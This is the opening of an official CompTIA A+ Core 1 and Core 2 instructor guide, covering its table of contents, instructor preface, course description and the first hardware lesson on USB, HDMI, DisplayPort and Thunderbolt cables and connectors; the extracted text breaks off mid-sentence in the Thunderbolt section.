The Official

CompTIA
A+ Core 1 and Core 2
Instructor Guide
(Exams 220-1101 and
220-1102)
 Course Edition: 1.0

Acknowledgments

James Pengelly, Author

Becky Mann, Director, Product Development
James Chesterfield, Senior Manager, User Experience and Design
Danielle Andries, Manager, Product Development

Notices
Disclaimer
While CompTIA, Inc. takes care to ensure the accuracy and quality of these materials, we cannot guarantee their accuracy,
and all materials are provided without any warranty whatsoever, including, but not limited to, the implied warranties of
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 Table of Contents | iii

Table of Contents

Lesson 1: Installing Motherboards and Connectors..................................................... 1

Topic 1A: Explain Cable Types and Connectors................................................... 2

Topic 1B: Install and Configure Motherboards.................................................. 17

Topic 1C: Explain Legacy Cable Types................................................................. 34

Lesson 2: Installing System Devices............................................................................. 43

Topic 2A: Install and Configure Power Supplies and Cooling........................... 44

Topic 2B: Select and Install Storage Devices...................................................... 52

Topic 2C: Install and Configure System Memory............................................... 65

Topic 2D: Install and Configure CPUs.................................................................. 72

Lesson 3: Troubleshooting PC Hardware..................................................................... 81

Topic 3A: Apply Troubleshooting Methodology................................................. 82

Topic 3B: Configure BIOS/UEFI............................................................................. 90

Topic 3C: Troubleshoot Power and Disk Issues................................................. 98

Topic 3D: Troubleshoot System and Display Issues........................................ 110

Lesson 4: Comparing Local Networking Hardware................................................... 119

Topic 4A: Compare Network Types................................................................... 120

Topic 4B: Compare Networking Hardware...................................................... 125

Topic 4C: Explain Network Cable Types............................................................ 133

Topic 4D: Compare Wireless Networking Types.............................................. 145

Lesson 5: Configuring Network Addressing and Internet Connections................. 159

Topic 5A: Compare Internet Connection Types............................................... 160

Topic 5B: Use Basic TCP/IP Concepts................................................................ 170

Topic 5C: Compare Protocols and Ports........................................................... 183

Topic 5D: Compare Network Configuration Concepts.................................... 189

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 iv | Table of Contents

Lesson 6: Supporting Network Services..................................................................... 199

Topic 6A: Summarize Services Provided by Networked Hosts...................... 200

Topic 6B: Compare Internet and Embedded Appliances................................ 212

Topic 6C: Troubleshoot Networks..................................................................... 218

Lesson 7: Summarizing Virtualization and Cloud Concepts.................................... 227

Topic 7A: Summarize Client-Side Virtualization.............................................. 228

Topic 7B: Summarize Cloud Concepts.............................................................. 235

Lesson 8: Supporting Mobile Devices......................................................................... 243

Topic 8A: Set Up Mobile Devices and Peripherals........................................... 244

Topic 8B: Configure Mobile Device Apps.......................................................... 261

Topic 8C: Install and Configure Laptop Hardware.......................................... 274

Topic 8D: Troubleshoot Mobile Device Issues................................................. 283

Lesson 9: Supporting Print Devices............................................................................ 293

Topic 9A: Deploy Printer and Multifunction Devices...................................... 294

Topic 9B: Replace Print Device Consumables.................................................. 309

Topic 9C: Troubleshoot Print Device Issues..................................................... 325

Lesson 10: Configuring Windows................................................................................ 333

Topic 10A: Configure Windows User Settings.................................................. 334

Topic 10B: Configure Windows System Settings............................................. 348

Lesson 11: Managing Windows.................................................................................... 363

Topic 11A: Use Management Consoles............................................................. 364

Topic 11B: Use Performance and Troubleshooting Tools.............................. 377

Topic 11C: Use Command-line Tools................................................................. 391

Lesson 12: Identifying OS Types and Features.......................................................... 401

Topic 12A: Explain OS Types............................................................................... 402

Topic 12B: Compare Windows Editions............................................................ 412

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 Table of Contents | v

Lesson 13: Supporting Windows.................................................................................. 419

Topic 13A: Perform OS Installations and Upgrades........................................ 420

Topic 13B: Install and Configure Applications................................................. 428

Topic 13C: Troubleshoot Windows OS Problems............................................. 434

Lesson 14: Managing Windows Networking.............................................................. 453

Topic 14A: Manage Windows Networking........................................................ 454

Topic 14B: Troubleshoot Windows Networking.............................................. 466

Topic 14C: Configure Windows Security Settings............................................ 476

Topic 14D: Manage Windows Shares................................................................ 491

Lesson 15: Managing Linux and macOS..................................................................... 507

Topic 15A: Identify Features of Linux............................................................... 508

Topic 15B: Identify Features of macOS............................................................ 524

Lesson 16: Configuring SOHO Network Security....................................................... 541

Topic 16A: Explain Attacks, Threats, and Vulnerabilities............................... 542

Topic 16B: Compare Wireless Security Protocols............................................ 556

Topic 16C: Configure SOHO Router Security.................................................... 563

Topic 16D: Summarize Security Measures....................................................... 573

Lesson 17: Managing Security Settings...................................................................... 579

Topic 17A: Configure Workstation Security..................................................... 580

Topic 17B: Configure Browser Security............................................................ 594

Topic 17C: Troubleshoot Workstation Security Issues................................... 603

Lesson 18: Supporting Mobile Software..................................................................... 619

Topic 18A: Configure Mobile OS Security......................................................... 620

Topic 18B: Troubleshoot Mobile OS and App Software.................................. 631

Topic 18C: Troubleshoot Mobile OS and App Security.................................... 639

Table of Contents

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 vi | Table of Contents

Lesson 19: Using Support and Scripting Tools........................................................... 647

Topic 19A: Use Remote Access Technologies................................................... 648

Topic 19B: Implement Backup and Recovery.................................................. 656

Topic 19C: Explain Data Handling Best Practices............................................ 663

Topic 19D: Identify Basics of Scripting............................................................. 672

Lesson 20: Implementing Operational Procedures.................................................. 685

Topic 20A: Implement Best Practice Documentation.................................... 686

Topic 20B: Use Proper Communication Techniques....................................... 697

Topic 20C: Use Common Safety and Environmental Procedures.................. 707

Appendix A: Mapping Course Content to CompTIA® A+® Core 1

(Exam 220-1101)..............................................................................................................A-1

Appendix B: Mapping Course Content to CompTIA® A+® Core 2

(Exam 220-1102)....................................................................................................................... B-1

Glossary...........................................................................................................................G-1

Index................................................................................................................................. I-1

Table of Contents

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 Presenting the Official CompTIA A+
Core 1 and Core 2 Instructor Guide
1
(Exams 220-1101 and 220-1102)
The Official CompTIA A+ Core 1 and Core 2 Instructor and Student Guides (Exam
220-1101 and 220-1102) have been developed by CompTIA for the CompTIA
certification candidate. Rigorously evaluated by third-party subject matter experts
to validate adequate coverage of the A+ Core 1 and Core 2 exam objectives, The
Official CompTIA A+ Core 1 and Core 2 Instructor and Student Guides teach students
the knowledge and skills required to install and configure end-user devices and
software, connect devices to networks, perform basic cybersecurity mitigations,
troubleshoot common problems to diagnose and resolve issues, and demonstrate
basic knowledge of scripting, the cloud, and virtualization and prepare candidates
to take the CompTIA A+ Core 1 and Core 2 certification exam.
The Official CompTIA A+ Core 1 and Core 2 Guides are created around several core
principles including:
• Focused on Job Roles and Objectives—The Official CompTIA Guides are
organized into courses, lessons, and topics that align training to work in the
real world. At the course level, the content reflects a real job role, guided by the
objectives and content examples in the CompTIA Exam Objectives document.
Lessons refer to functional areas within that job role. Topics within each lesson
relate to discrete job tasks.

• Sound Instructional Design—The content within topics is presented in an

instructional hierarchy that thoughtfully builds competencies through narrative
and graphical learning components. Topics are designed to be delivered as
15-30 minute segments followed by scenario-based review activities. This
approach keeps the student engaged, ensures success with the learning
outcomes, and reinforces the core concepts to ensure long-term retention
of new ideas.

• Alignment and Consistency Across Course Guide, Labs, and Assessment—

The presentation of course topics is designed to integrate with the CertMaster
Labs product to provide regular opportunities for hands-on activities and
assessment:

• CertMaster Labs—Hosted labs that require only a browser and Internet

connection, saving organizations hours of setup time. Their short durations of
10-20 minutes and modular design allow for labs to be easily integrated into
the course presentation.

• Multiple-choice assessments—Exam-style quizzes for each lesson, available

via the CompTIA Learning Center.

• Final assessment—Multiple-choice questions synthesizing concepts from all

lessons, also available via the CompTIA Learning Center.

• The course guide, labs, and assessment all work together with a similar
approach and voice to present a cohesive single-sourced solution for a CompTIA
certification course.

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 viii | Instructor Preface

Preparing to Teach
Teaching The CompTIA Learning Center is an intuitive online platform that provides access
Tip to the eBook and all accompanying resources to support the Official CompTIA
Your Instructor curriculum. An access key to the CompTIA Learning Center is delivered upon
Guide contains purchase of the print or eBook.
the same content
and pagination as You can use the following resources to prepare to teach this course:
the accompanying • Instructor Tips—Throughout the Instructor Guide, you will see in the margins
Student Guide with
the addition of this
various presentation-focused icons that provide suggestions, answers to
preface and these problems, and supplemental information to help you to teach the course. The
marginal notes to text under these icons is not included in the Student Guide. These notes are
help you present the also included in the notes section of the instructor PowerPoint deck for easy
course. reference while teaching.
Teaching • Resources—Supporting materials for instructors are available for downloading
Tip from the Resources menu in the CompTIA Learning Center. In addition to
A Teaching Tip icon course-specific delivery tips, and solutions to activities and discussion questions,
provides additional you also have access to:
guidance and
background that you • PowerPoint Slides—A complete set of PowerPoint slides is provided to
may want to utilize facilitate the class.
during specific parts of
the course, including • Presentation Planners—Several Presentation Planners are provided in
timings and emphasis.
the Resources menu. The Planners help you to plan the class schedule and
Interaction include examples of schedules for different course lengths, whether courses
Opportunity are continuous or offered separately across a multisession series.
An Interaction • Transition Guide—A detailed guide with information on how the exam
Opportunity provides
objectives and training content have changed from 220-1001 and 220-1002 to
suggestions for
different ways to 220-1101 and 220-1102.
engage with students,
either through • Videos—Videos complement the reading by providing short, engaging
discussions, activities, discussions and demonstrations of key technologies referenced in the course.
or demonstrations.
• Assessments—Practice questions help to verify a student’s understanding of
Show the material for each Lesson. Answers and feedback can be reviewed after each
Slide(s) question, or at the end of the assessment. A timed final assessment provides
The Show Slide icon a practice-test-like experience to help students determine their readiness for
provides a prompt to the CompTIA certification exam. Students can review correct answers and full
display a specific slide feedback after attempting the final assessment.
from the provided
PowerPoint files.
Using CertMaster Labs
CertMaster Labs allow students to learn on virtual machines configured with a
variety of software applications and network topologies via a hosted virtualization
environment. The labs align with The Official CompTIA Instructor and Student
Guides and allow students to practice what they are learning using real, hands-on
experiences. The labs help students gain experience with the practical tasks that will
be expected of them in a job role and on the performance-based items found on
CompTIA certification exams. All lab activities include gradable assessments, offer
feedback and hints, and provide a score based on learner inputs.
There are two types of labs:
• NEW! Virtual Workbench Labs present a series of goal-oriented, immersive labs
in different modes that are performed within a game-like 3D simulation. This
hands-on environment gives students the ability to learn the tangible aspects of
IT and gain real-world experience.

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 Instructor Preface | ix

• Virtual Machine Labs utilize virtual machines built to simulate a server network
so a learner can gain real-world, hands-on experience with tools, applications,
and operating systems they would utilize in a job environment Microsoft
Windows, Kali Linux, or Wireshark.

Virtual workbench labs and virtual machine labs are also available in different
modes.
• Assisted Labs provide detailed steps with graded assessment and feedback for
the completion of each task. These labs are shorter, focus on a specific task, and
typically take 10-15 minutes to complete.

• Applied Labs are longer activities that provide a series of goal-oriented

scenarios with graded assessment and feedback based on a learner’s ability to
complete each goal successfully. Applied labs are typically 30-45 minutes long
and cover multiple tasks a student has learned over the course of a block of
lessons.

The position of assisted and applied labs to support lessons and topics within the
course is included in the presentation planners. Other features of CertMaster Labs
include the following:
• Browser-Based—The labs can be accessed with a browser and Internet
connection, simplifying the setup process and enabling remote students to
perform the activities without having to secure any special equipment or software.

• Graded—Lab activities will more accurately assess a student’s ability to

perform tasks (because they will get a score on their work) and will surface that
information to instructors.

• Modular—The labs within each course are independent of each other and can
be used in any order.

• Ability to Save Work—Students can save their progress in a virtual machine lab
for 48 hours to allow for more flexibility in how you want to use labs during the
course event.

• Find more information about CertMaster Labs and how to purchase them at
store.comptia.org.

Planning the Presentation

The course divides coverage of the exam objectives into blocks based around the Teaching
following themes: Tip
• Core 1 PC hardware (Lessons 1-3) Check that all
students can log on
• Core 1 Network hardware and services (Lessons 4-7) successfully to the
CompTIA Learning
• Core 1 Mobile and printer hardware (Lessons 8-9) Center and can
access the 220-1100
• Core 2 Operating system support (Lessons 10-14) course resources. If
you or your students
• Core 2 Security (Lessons 16-18) require any help, use
CompTIA’s help page
• Core 2 Operational procedures (Lessons 19-20) to resolve common
issues or obtain
Within the instructional design hierarchy, the course structure tries to follow the assistance: help.
comptia.org.
exam objectives domain structure as far as possible, but some objectives and
content examples are split between multiple lessons and topics so as to make the
topics flow better and to eliminate duplications. The course is designed to be as
modular as possible, so that you can use the content as flexibly as you wish.

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 x | Instructor Preface

Presentation planners are available to download from the CompTIA Learning Center
on the Resources page. Because the content can be presented in a continuous
flow or separately across a multisession series, several sample timetables are
provided. You can use these sample planners to determine how you will conduct
the class to meet the needs of your own situation. A presentation planner helps
you to structure the course by indicating the maximum amount of time you should
spend on any one topic or activity. You will need to adjust these timings to suit your
audience. Your presentation timing and flow may vary based on factors such as the
size of the class, whether students are in specialized job roles, whether you plan
to incorporate videos or other assets from the CompTIA Learning Center into the
course, and so on.
For any given course event, you might need to employ time-saving techniques.
Detailed notes are provided as Teaching Tips at the start of each lesson and topic,
but consider the following general time-saving strategies:
• Some topics will require a more detailed presentation with the use of the slide
deck. Others, such as those that are well-covered by prerequisite certifications,
would suit a less formal style where you use questioning and lead a discussion
to check students‘ existing understanding. Some topics may be suitable for
self-study, but if students have concerns about this, you will have to reduce the
amount of lab activities to compensate.

• Ask participants to pre-read some of the content as “homework” to reduce class

time spent on that topic.

• Summarize a topic in overview, and then answer questions during a later session
when students have had a chance to study it in more detail.

• Consider a lab-first approach to selected topics, referring students to the study

content for review later.

If students are struggling with lab activities, consider some of the following
approaches:
• Demonstrate a lab as a walkthrough.

• Get students to partner up to complete a lab, with one student completing the
steps and the other student advising and checking.

• Summarize the remaining parts of a lab if students do not have time to finish
in class.

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 1
About This Course
CompTIA is a not-for-profit trade association with the purpose of advancing the Teaching
interests of information technology (IT) professionals and IT channel organizations; Tip
its industry-leading IT certifications are an important part of that mission. Take some time at the
CompTIA’s A+ Core 1 and Core 2 certification is a foundation-level certification start of the course for
designed for professionals with 12 months hands-on experience in a help desk students to introduce
support technician, desk support technician, or field service technician job role. themselves and
identify the outcomes
CompTIA A+ certified professionals are proven problem solvers. They support they hope to achieve
today’s core technologies from security to cloud to data management and more. by studying the
CompTIA A+ is the industry standard for launching IT careers into today’s digital course.
world. It is trusted by employers around the world to identify the go-to person in
end-point management and technical support roles. CompTIA A+ is regularly
re-invented by IT experts to ensure that it validates core skills and abilities
demanded in the workplace.

Course Description
Course Objectives
This course can benefit you in two ways. If you intend to pass the CompTIA A+
Core 1 and Core 2 (Exams 220-1101 and 220-1102) certification examination, this
course can be a significant part of your preparation. But certification is not the only
key to professional success in the field of IT support. Today’s job market demands
individuals with demonstrable skills, and the information and activities in this
course can help you build your skill set so that you can confidently perform your
duties in any entry-level PC support role.
On course completion, you will be able to do the following:
• Install, configure, and troubleshoot PC motherboards, system components, and
peripheral devices.

• Compare networking hardware types and configure local addressing and

Internet connections.

• Summarize uses for network services, virtualization, and cloud computing.

• Support the use of mobile devices and print devices.

• Configure and troubleshoot the Windows operating system.

• Support the Linux and macOS operating systems.

• Configure SOHO network security and manage PC security settings.

• Support the use of mobile apps.

• Use remote support and scripting tools.

• Implement operational procedures.

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 xii | Preface

Target Student
The Official CompTIA A+ Core 1 and Core 2 (Exams 220-1101 and 220-1102) is the
primary course you will need to take if your job responsibilities include supporting
the use of PCs, mobile devices, and printers within a corporate or small office home
office (SOHO) network. You can take this course to prepare for the CompTIA A+
Core 1 and Core 2 (Exams 220-1101 and 220-1102) certification examination.

Prerequisites
Teaching To ensure your success in this course, you should have 12 months of hands-on
Tip experience working in a help desk technician, desktop support technician, or field
If students do service technician job role. CompTIA ITF+ certification, or the equivalent knowledge,
not meet the is strongly recommended.
prerequisites, discuss
what help you are The prerequisites for this course might differ significantly from the prerequisites for
able to provide and the CompTIA certification exams. For the most up-to-date information about the exam
what additional steps prerequisites, complete the form on this page: www.comptia.org/training/resources/
they may need to exam-objectives
take to prepare for
each session in terms
of pre-reading or
background study.
How to Use the Study Notes
Teaching The following notes will help you understand how the course structure and
Tip components are designed to support mastery of the competencies and tasks
Set student associated with the target job roles and will help you prepare to take the
expectations for study certification exam.
sessions based on
your delivery format. As You Learn
Discuss how you will
handle questions so At the top level, this course is divided into lessons, each representing an area of
that each student competency within the target job roles. Each lesson is composed of a number of
feels fully supported
topics. A topic contains subjects that are related to a discrete job task, mapped
while the class keeps
moving at the required to objectives and content examples in the CompTIA exam objectives document.
pace to cover all the Rather than follow the exam domains and objectives sequence, lessons and topics
content. are arranged in order of increasing proficiency. Each topic is intended to be studied
within a short period (typically 30 minutes at most). Each topic is concluded by one
or more activities designed to help youapply your understanding of the study notes
to practical scenarios and tasks.
In addition to the study content in the lessons, there is a glossary of the terms and
concepts used throughout the course. There is also an index to assist in locating
particular terminology, concepts, technologies, and tasks within the lesson and
topic content.

In many electronic versions of the book, you can click links on key words in the
topic content to move to the associated glossary definition, and you can click page
references in the index to move to that term in the content. To return to the previous
location in the document after clicking a link, use the appropriate functionality in your
eBook viewing software.

About This Course

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 Preface | xiii

Watch throughout the material for the following visual cues.

Student Icon Student Icon Descriptive Text

A Note provides additional information, guidance, or hints about
a topic or task.

A Caution note makes you aware of places where you need to be

particularly careful with your actions, settings, or decisions so that
you can be sure to get the desired results of an activity or task.

As You Review
Any method of instruction is only as effective as the time and effort you, the
student, are willing to invest in it. In addition, some of the information that you
learn in class may not be important to you immediately, but it may become
important later. For this reason, we encourage you to spend some time reviewing
the content of the course after your time in the classroom.
Following the lesson content, you will find a table mapping the lessons and topics
to the exam domains, objectives, and content examples. You can use this as a
checklist as you prepare to take the exam, and review any content that you are
uncertain about.

As a Reference
The organization and layout of this book make it an easy-to-use resource for future
reference. Guidelines can be used during class and as after-class references when
you’re back on the job and need to refresh your understanding. Taking advantage
of the glossary, index, and table of contents, you can use this book as a first source
of definitions, background information, and summaries.

How to Use the CompTIA Learning Center

The CompTIA Learning Center is an intuitive online platform that provides access
to the eBook and all accompanying resources to support the Official CompTIA
curriculum. An access key to the CompTIA Learning Center is delivered upon
purchase of the eBook.
Use the CompTIA Learning Center to access the following resources:
• Online Reader—The interactive online reader provides the ability to search,
highlight, take notes, and bookmark passages in the eBook. You can also access
the eBook through the CompTIA Learning Center eReader mobile app.

• Videos—Videos complement the topic presentations in this study guide by

providing short, engaging discussions and demonstrations of key technologies
referenced in the course.

• Assessments—Practice questions help to verify your understanding of the

material for each lesson. Answers and feedback can be reviewed after each
question or at the end of the assessment. A timed final assessment provides a
practice-test-like experience to help you determine how prepared you feel to
attempt the CompTIA certification exam. You can review correct answers and full
feedback after attempting the final assessment.

• Strengths and Weaknesses Dashboard—The Strengths and Weaknesses

Dashboard provides you with a snapshot of your performance. Data flows into
the dashboard from your practice questions, final assessment scores, and your
indicated confidence levels throughout the course.

About This Course

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 Lesson 1
Installing Motherboards
and Connectors
1

LESSON INTRODUCTION
One of the main roles for a CompTIA A+ technician is to install and configure Show
personal computer (PC) hardware. This hands-on part of the job is what draws Slide(s)
many people to a career in information technology (IT) support. As an IT Objectives
professional, you will set up desktop computers and help end users to select a
system configuration and peripheral devices that are appropriate to their work. Teaching
You will often have to connect peripheral devices using the correct cables and Tip
connectors and install plug-in adapter cards. The course is divided
into three main
To complete these tasks, you must understand how the peripheral devices and sections. The first
internal PC components are connected via the motherboard. As you may encounter section (lessons
many different environments in your work, you must also be able to distinguish and 1–3) focuses on PC
support both modern and legacy connection interfaces. hardware, covering
most of domains 3
(hardware) and 5
Lesson Objectives (troubleshooting).
Lesson 1 focuses
In this lesson, you will: on the system
case, motherboard,
• Explain cable types and connectors. adapters, and
peripheral cable types.
• Install and configure motherboards.

• Explain legacy cable types.

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 2 | The Official CompTIA A+ Core 1 and Core 2 Instructor Guide (Exams 220-1101 and 220-1102)

Topic 1A
Show Explain Cable Types and Connectors
Slide(s) 2

Explain Cable Types

and Connectors CORE 1 EXAM OBJECTIVES COVERED
3.1 Explain basic cable types and their connectors, features, and purposes.
Teaching
Tip
This topic covers
features of the
A PC is made up of many different components. All these components need to be
system case and able to communicate with each other so that the computer can function properly.
the use of modern If you can distinguish connection interfaces and connectors quickly, you will be able
cable types (USB, to support users by installing, upgrading, and replacing PC peripherals efficiently.
HDMI, DisplayPort,
Thunderbolt,
Lightning, and SATA). Personal Computers
Show The components of a personal computer (PC) are divided between those that are
Slide(s) designed to be handled by the user—peripheral devices—and those that would
Personal be damaged or dangerous if exposed. Peripheral devices typically perform the
Computers function of input (keyboard, mouse, microphone, and camera), output (monitor and
speakers), or external storage.
Interaction
Opportunity The system case/chassis houses the internal components. These include the
motherboard, central processing unit (CPU), system memory modules, adapter
It will be beneficial if
you can demonstrate
cards, fixed disks, and power supply unit. Most cases use a tower form factor that is
features of the case designed to be oriented vertically and can be placed on a desk or on the floor.
or have students
follow along with a PCs can also be purchased as all-in-one units. All-in-one means that the internal
workbench PC. components are contained within a case that is also a monitor.

To perform PC maintenance, you must understand how to open a desktop

computer’s case.
• A tower case has a side cover that can be removed by sliding the panel from its
housing. Cases might be secured by screws or retaining clips and might have
anti-tamper security mechanisms. Always refer to the system documentation,
and follow the recommended steps.

• The front panel provides access to the removable media drives, a power on/off
switch, and light- emitting diodes (LEDs) to indicate drive operation. The front
cover can be removed but may require the side panel to be removed first to
access the screws or clips that secure it.

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Features on the front of a typical PC case. (Image © 123RF.com)

The rear panel provides access to the power supply unit (PSU) sockets. The PSU has
an integral fan exhaust. Care should be taken that it is not obstructed, as this will
adversely affect cooling. There may be an additional case fan.

Features on the rear panel of a typical PC case. (Image © 123RF.com)

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Below the PSU, there is a cutout aligned with the motherboard’s input/output (I/O)
ports. These allow for the connection of peripheral devices.
At the bottom of the rear panel there are cutout slots aligned with the position of
adapter card slots to allow cables to be connected to any I/O ports on the cards.
These slots should either be covered by an adapter card or a metal strip known
as a blanking plate. Uncovered slots can disrupt the proper flow of air around
components in the PC and cause overheating and increase the amount of dust in
the system.

Peripheral Devices
Show An input/output (I/O) port allows a device to be connected to the PC via a
Slide(s) peripheral cable. Some ports are designed for a particular type of device, such as
Peripheral Devices a graphics port to connect a monitor. Other ports support a variety of device types.
External ports are positioned at the rear or front of the PC through cutouts in the
Teaching case. They can be provided on the motherboard or as an expansion card.
Tip
Distinguish between
the bus interface type
and the form factor of
ports and connectors
that each interface
might use. Make sure
students understand
the units used to
describe data storage
and transfer.

I/O ports on a motherboard. (Image © 123RF.com)

Interfaces, Ports, and Connectors

A hardware port is the external connection point for a particular type of bus
interface. A bus allows the transfer of data to and from devices. The connector is
the part of a peripheral cable that can be inserted into a port with the same shape
or form factor. Each bus interface type might use multiple connector form factors.
Most connectors and ports now use edge contacts and either have an asymmetric
design called keying to prevent them from being inserted the wrong way around or
are reversible.

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A peripheral cable for the Universal Serial Bus (USB) interface with different connector types being
used to connect a portable hard drive and a desktop computer. (Image © 123RF.com)

Binary Data Storage and Transfer Units

When comparing bus interfaces, it is important to use appropriate units. Computers
process binary data. Each binary digit or bit (b) can have the value one or zero.
Storage is often measured in multiples of eight bits, referred to as a byte (B). A
lowercase “b” unit refers to a bit, while uppercase means a byte.
Transfer rates are expressed in units per second of the following multiples of bits
and bytes:
• 1000—Kilobits (Kb/s or Kbps) and kilobytes (KB/s and KBps).

• 1000x1000—Megabits (Mb/s) or megabytes (MB/s). Show

Slide(s)
• 1000x1000x1000—Gigabits (Gb/s) and gigabytes (GB/s).
Universal Serial
Bus Cables
Universal Serial Bus Cables
Teaching
The Universal Serial Bus (USB) is the standard means of connecting most types of Tip
peripheral device to a computer. USB peripheral device functions are divided into Point out the key
classes, such as human interface (keyboards and mice), mass storage (disk drives), functions of a bus:
printer, audio device, and so on. controller, ports/
number devices, data
A USB is managed by a host controller. Each host controller supports multiple ports transfer, and power.
attached to the same bus. In theory, there could be up to 127 connected devices
Try to cut through
per controller, but to overcome the limitations of sharing bandwidth, most PC the complexity of the
motherboards provision multiple USB controllers, each of which has three or different connector
four ports. types.

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USB port symbol. Variations on this basic icon identify supported features, such as higher transfer
rates and power delivery. Wikimedia Commons (commons.wikimedia.org/wiki/File:USB_icon.png)

USB Standards
There have been several iterations of the USB standard. Each version introduces
better data rates. A version update may also define new connector form factors
and other improvements. The USB 2.0 HighSpeed standard specifies a data rate of
480 Mbps shared between all devices attached to the same host controller. The bus
is half-duplex, meaning that each device can send or receive, but not at the same
time.
Iterations of USB 3.x introduced new connector form factors and upgraded
transfer rates, each of which are full-duplex, so a device can send and receive
simultaneously. USB 3.2 deprecated some of the older terms used to describe the
supported transfer rate:

Standard Speed Connectors Legacy Designation

USB 3.2 Gen 1 5 Gbps USB-A, USB-C, USB 3.0
SuperSpeed USB USB Micro
USB 3.2 Gen 2x1 10 Gbps USB-A, USB-C, USB 3.1
SuperSpeed USB USB Micro SuperSpeed+
10 Gbps
USB 3.2 Gen 2x2 2 x 10 Gbps USB-C
SuperSpeed USB
20 Gbps

USB 3 controllers feature two sub-controllers. One controller handles SuperSpeed-

capable devices, while the other supports legacy HighSpeed, FullSpeed, and LowSpeed
USB v1.1 and v2.0 devices. Consequently, legacy devices will not slow down SuperSpeed-
capable devices.

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USB Connector Types

The connector form factors specified in USB 2 are as follows:
• Type A—For connection to the host and some types of peripheral device. The
connector and port are shaped like flat rectangles. The connector should be
inserted with the USB symbol facing up.

• Type B—For connection to large devices such as printers. The connector and
port are square, with a beveled top.

• Type B Mini—A smaller peripheral device connector. This type of connector was
seen on early digital cameras but is no longer widely used.

• Type B Micro—An updated connector for smaller devices, such as smartphones

and tablets. The micro connector is distinctively flatter than the older mini type
of connector.

USB 2 ports and connectors. (Image © 123RF.com)

A USB cable can feature Type A to Type A connectors or can convert from one type
to another (Type A to Type B or Type A to Micro Type B, for instance).
In USB 3, there are new versions of the Type A, Type B, and Type B Micro connectors
with additional signaling pins and wires. USB 3 receptacles and connectors
often have a blue connector tab or housing to distinguish them. USB 3 Type A
connections are physically compatible with USB 1.1 and 2.0 connections, but the
Type B/Type B Micro connections are not. So, for example, you could plug a USB 2
Type A cable into a USB 3 Type A port, but you could not plug a USB 3 Type B cable
into a USB 2 Type B port.

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USB 3 connectors and ports (from left to right): Type A, Type B, Micro Type B, Type C.
(Image ©123RF.com)

USB 3.1 defines the USB-C connector type. This compact form factor is intended to
provide a single, consistent hardware interface for the standard. The connector is
reversible, meaning it can be inserted either way up. The connector design is also
more robust than the earlier miniB and microB types. USB-C can use the same
type of connector at both ends, or you can obtain USB-C to USB Type A or Type B
converter cables.

Cable Length
The maximum cable length for LowSpeed devices is 3 m, while for FullSpeed and
HighSpeed the limit is 5 m. Vendors may provide longer cables, however. Although
SuperSpeed-capable cables do not have an official maximum length, up to about 3
m is recommended.

Power
As well as a data signal, the bus can supply power to the connected device. Most
USB Type A and Type C ports can be used to charge the battery in a connected
device.

Basic USB ports can supply up to about 4.5 watts, depending on the version. A power
delivery (PD)–capable port can supply up to 100 watts, given suitable connectors and
cabling.

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HDMI and DisplayPort Video Cables

The USB interface supports many types of devices, but it has not traditionally been Show
used for video. As video has high bandwidth demands, it is typically provisioned Slide(s)
over a dedicated interface. HDMI and DisplayPort
Video cable bandwidth is determined by two main factors: Video Cables

• The resolution of the image, measured in horizontal pixels by vertical pixels. Teaching
For example, 1920x1200 is the typical format of high-definition (HD) video and Tip
3840x2160 is typical of 4K video. Explain that HDMI
is more widespread
• The speed at which the image is redrawn, measured in hertz (Hz) or frames per (all or almost all
second (fps). adapters and displays
will support it)
As examples, uncompressed HD video at 60 fps requires 4.5 Gbps, while 4K at 60 than DisplayPort.
fps requires 8.91 Gbps. DisplayPort’s big
advantage is support
for daisy-chaining
The frame rate in fps is used to describe the video source, while hertz is the refresh rate monitors.
of the display device and video interface. To avoid display artefacts such as ghosting
and tearing, the refresh rate should match the frame rate or be evenly divisible by it. For Explain that there
example, if the frame rate is 60 fps and the refresh rate is 120 Hz, the video should play are older cable types
but that these will be
smoothly.
covered later.

Computer displays are typically of the liquid crystal display (LCD) thin film transistor
(TFT) type. Each pixel in a color LCD comprises cells with filters to generate the three
additive primary colors red, green, and blue (RGB). Each pixel is addressed by a
transistor to vary the intensity of each cell, therefore creating the gamut (range of
colors) that the display can generate. The panel is illuminated by a light-emitting
diode (LED) array or backlight.

An LCD/TFT is often just referred to as a flat-panel display. They are also called
LED displays after the backlight technology (older flat panels use fluorescent tube
backlights). Premium flat-panel monitors are of the organic LED (OLED) type. This means
that each pixel is its own light source. This allows for much better contrast and color
fidelity.

High-Definition Multimedia Interface

The High-Definition Multimedia Interface (HDMI) is the most widely used video
interface. It is ubiquitous on consumer electronics, such as televisions, games
consoles, and Blu-ray players as well as on monitors designed for use with PCs.
HDMI supports both video and audio, plus remote control and digital content
protection (HDCP). Updates to the original HDMI specification have introduced
support for high resolutions, such as 4K and 8K, and gaming features, such as the
ability to vary the monitor refresh rate to match the frame rate of the video source.

Support for audio is useful because most TVs and monitors have built-in speakers. The
video card must have an audio chipset for this to work, however.

There are full-size (Type A), mini (Type C), and micro (Type D) connectors, all of
which are beveled to ensure correct orientation.

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HDMI connector and port on the left and mini-HDMI connector and port on the right.
(Image ©123RF.com)

HDMI cable is rated as either Standard (Category 1) or High Speed (Category 2).
High Speed cable supports greater lengths and is required for v1.4 features, such as
4K and refresh rates over 60 Hz. HDMI versions 2.0 and 2.1 specify Premium High
Speed (up to 18 Gbps) and Ultra High Speed (up to 48 Gbps) cable ratings.

DisplayPort Interface
HDMI was developed by consumer electronics companies and requires a royalty to
use. DisplayPort was developed as a royalty-free standard by the Video Electronics
Standards Association (VESA), which is an organization that represents PC graphics
adapter and display technology companies. DisplayPort supports similar features
to HDMI, such as 4K, audio, and content protection. There are full-size DP++
and MiniDP/mDP port and connector types, which are keyed against incorrect
orientation.

A DP++ DisplayPort port and connector. (Image ©123RF.com)

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Bandwidth can be allocated in bonded lanes (up to four). The bitrate of each lane
was originally 2.7 Gbps but is now (with version 2.0) up to 20 Gbps.
One of the main advantages of DisplayPort over HDMI is support for daisy-chaining
multiple monitors to the same video source. Using multiple monitors with HDMI
requires one video card port for each monitor.

Thunderbolt and Lightning Cables

Although the Thunderbolt and Lightning interfaces are most closely associated with Show
Apple computers and mobile devices, Thunderbolt is increasingly implemented on Slide(s)
Windows and Linux PCs too. Thunderbolt and
Lightning Cables
Thunderbolt Interface
Teaching
Thunderbolt can be used as a display interface like DisplayPort or HDMI and as a
Tip
general peripheral interface like USB. Thunderbolt versions 1 and 2 use the same
Note that USB and
physical interface as MiniDP and are compatible with DisplayPort so that a monitor
Thunderbolt are
with a DisplayPort port can be connected to a computer via a Thunderbolt port and converging with
